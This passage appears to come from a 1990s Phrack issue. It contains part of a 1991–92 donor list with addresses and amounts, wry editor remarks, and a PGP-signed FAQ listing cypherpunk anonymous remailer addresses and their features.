1555 Wilson Blvd. Suite 300

Arlington, VA 22209 05/13/92 10,000

Microsoft

c/o William H. Neukom

1 Microsoft Way

Redmond, VA 98052 06/25/92 50,000

David Winer

933 Hermosa Way

Menio Park, CA 94025 01/02/92 5,000

Ed Venture Holdings

c/o Ester Dvson

375 Park Avenue

New York, NY 10152 03/23/92 15,000

Anonymous 12/26/91 10,000

Bauman Fund

c/o Patricia Bauman

1731 Connecticut Avenue

Washington, DC 20009-1146 04/16/92 2,500

Capital Cities ABA

c/o Mark MacCarthy

2445 N. Street, NW Suite 48

Washington, DC 20037 05/04/92 1,000

John Gilmore

210 Clayton Street

San Francisco, CA 94117 07/23/91 1,488

08/06/91 100,000

Government Technology 10/08/91 1,000

Miscellaneous 04/03/91 120

Apple Writers Grant

c/o Apple Computer

20525 Mariani Avenue 01/10/92 15,000

[Editor: Well, hmmm. Tell you guys what: Send Phrack that

much money and we will give up our ideals and move to

a new location, and forget everything about what we

were all about in the beginning. In fact, we will turn

our backs on it. Fair?

I was talking about me moving to Europe and giving

up computers. Don't read anything else into that. Nope.]

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

-----BEGIN PGP SIGNED MESSAGE-----

Q1: What cypherpunk remailers exist?

A1:

1: hh@pmantis.berkeley.edu

2: hh@cicada.berkeley.edu

3: hh@soda.berkeley.edu

4: nowhere@bsu-cs.bsu.edu

5: remail@tamsun.tamu.edu

6: remail@tamaix.tamu.edu

7: ebrandt@jarthur.claremont.edu

8: hal@alumni.caltech.edu

9: remailer@rebma.mn.org

10: elee7h5@rosebud.ee.uh.edu

11: phantom@mead.u.washington.edu

12: hfinney@shell.portal.com

13: remailer@utter.dis.org

14: 00x@uclink.berkeley.edu

15: remail@extropia.wimsey.com

NOTES:

#1-#6 remail only, no encryption of headers

#7-#12 support encrypted headers

#15 special - header and message must be encrypted together

#9,#13,#15 introduce larger than average delay (not direct connect)

#14 public key not yet released

#9,#13,#15 running on privately owned machines

======================================================================

Q2: What help is available?

A2:

Check out the pub/cypherpunks directory at soda.berkeley.edu

(128.32.149.19). Instructions on how to use the remailers are in the

remailer directory, along with some unix scripts and dos batch files.

Mail to me (elee9sf@menudo.uh.edu) for further help and/or questions.

======================================================================

-----BEGIN PGP SIGNATURE-----

Version: 2.2

iQCVAgUBLAulOYOA7OpLWtYzAQHLfQP/XDSipOUPctZnqjjTq7+665MWgysE1ex9

lh3Umzk2Q647KyqhoCo8f7nVrieAZxK0HjRFrRQnQCwjTSQrve2eAQ1A5PmJjyiI

Y55E3YIXYmKrQekIHUKaMyATfnhNc6+2MT8mwaWz2kiOTRkun/SlNI3Cv3Qt8Emy

Y6Zv0kk/7rs=

=simY

-----END PGP SIGNATURE-----

[Editor: We suggest that everyone go ahead and get the info file from

soda.berkeley.edu's ftp site. While you are there,

take a look around. Lots of groovy free stuff.]